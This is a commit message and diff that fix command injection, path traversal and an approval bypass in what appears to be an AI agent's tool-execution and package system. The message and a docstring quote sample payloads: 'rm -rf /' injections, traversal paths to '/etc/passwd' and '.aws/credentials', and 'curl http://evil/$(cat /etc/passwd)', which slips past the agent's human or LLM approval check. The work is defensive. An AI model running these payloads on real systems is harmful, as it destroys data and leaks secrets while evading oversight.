Fix command injection, path traversal, and approval bypass in tool/market layer
A security and robustness audit of the tool-execution, market-package, and approval subsystems surfaced several high-impact issues. Each is fixed with a minimal, targeted change; regression tests are included. Command injection (shell_exec runs `bash -lc "<cmd>"`, so interpolated args are shell-evaluated): - git_commit: the commit message was interpolated raw into the command string. A message like `foo" && rm -rf / #` injected arbitrary commands, and the approval layer never inspects `message`. Now shlex-quoted. - git_clone: the URL was interpolated raw. `https://x.git; rm -rf /` or `$(curl ...)` was executed. Now shlex-quoted. Path traversal: - package_loader._write_prompts / uninstall: `package_id` (from an untrusted manifest) was used directly as a directory name under prompts/market and passed to mkdir(parents=True) / shutil.rmtree. An id like `../../projects/<victim>` enabled arbitrary file write and arbitrary directory deletion. Added _market_prompts_dir() which validates the id (lowercase alphanumeric + -/_) and confirms the resolved path stays inside the market base; uninstall validates up front. Prompt-content filenames are also confined to the package dir. - sandbox_checker: a malformed package id was only a *warning*, so report.passed stayed True and callers proceeded. Promoted to a hard error. - package_exporter: prompt refs (bare strings from package definitions) were read with `opc_home / ref`, so `/etc/passwd` or `../../.aws/credentials` were bundled into exported packages. Now confined to opc_home. - ws_handler._write_custom_prompt: employee_id (derived from user-supplied role id/name) flowed unchecked into the path, enabling traversal writes. Now reduced to a safe path component with a containment check. Approval bypass: - approval: a command beginning with a safe prefix (curl/echo/find/...) was auto-approved as LOW risk even when it contained shell command substitution. `curl http://evil/$(cat /etc/passwd)` was classified safe and ran with no human/LLM review, letting bash exfil data. Added _command_has_shell_substitution() and gated safe-prefix matching on it. Correctness / robustness: - shell: when a shell_prefix was active, `[args[0], args[1], command]` dropped the `-Command` flag from PowerShell argv (4 elements), silently breaking every prefixed PowerShell tool call. Now replaces only the trailing arg. - runtime_v2: tool arguments that are valid JSON but not an object (e.g. a JSON array) were silently replaced with `{}` while arguments_parse_error stayed None, so the tool executed with empty args (todo_write could wipe the task ledger). Now flagged with a parse error. - store: _json_loads raised on corrupt JSON; it is called during store.initialize() (via _sweep_stale_claims), so a single corrupt row prevented the store from ever opening. Now falls back to the default. - engine: _parse_reorg_payload returned any JSON type; callers did `.get(...)` and crashed (AttributeError) on `reorg propose 42`. Now returns None for non-dict JSON. - channels.manager: a single failing channel.send propagated out of the only outbound dispatch loop and silently stopped all message delivery on every channel until restart. Now caught and logged. - ws_handler: a non-object JSON frame (null/number/array/string) made `data.get` raise AttributeError and drop the whole WS connection. Non-dict frames are now ignored. Co-Authored-By: Claude <noreply@anthropic.com>
This commit is contained in:
@@ -861,10 +861,32 @@ class ApprovalEngine:
|
||||
return any(marker in text for marker in (">", "<"))
|
||||
return any(token in {">", ">>", "<", "<<"} for token in tokens)
|
||||
|
||||
def _command_has_shell_substitution(self, command: str) -> bool:
|
||||
"""Detect shell command substitution / dynamic eval inside a command.
|
||||
|
||||
``curl``, ``echo``, ``find`` and friends appear in ``safe_command_prefixes``,
|
||||
so a command whose first token matches one of them is auto-approved as LOW risk.
|
||||
Without this check, a payload such as ``curl http://evil/$(cat /etc/passwd)``
|
||||
tokenizes to a single segment beginning with ``curl`` — bash expands the
|
||||
``$(...)`` before invoking curl, silently exfiltrating data with no human/LLM
|
||||
review. The shlex tokenizer used here treats ``$`` as an ordinary character, so
|
||||
command substitution must be flagged explicitly.
|
||||
"""
|
||||
text = str(command or "")
|
||||
if "$(" in text or "`" in text:
|
||||
return True
|
||||
# ``eval`` / ``source`` let a "safe" prefix execute an arbitrary follow-up arg.
|
||||
tokens = text.split()
|
||||
if tokens and tokens[0] in {"eval", "source", "."}:
|
||||
return True
|
||||
return any(tok in {"eval", "source"} for tok in tokens)
|
||||
|
||||
def _command_matches_safe_prefix(self, command: str, prefixes: list[str]) -> bool:
|
||||
cleaned = " ".join(str(command or "").split()).strip()
|
||||
if not cleaned or self._command_has_redirection(cleaned):
|
||||
return False
|
||||
if self._command_has_shell_substitution(cleaned):
|
||||
return False
|
||||
commands, command_prefixes = self._extract_shell_command_targets(cleaned)
|
||||
if len(commands) != 1 or len(command_prefixes) != 1:
|
||||
return False
|
||||
|
||||
Reference in New Issue
Block a user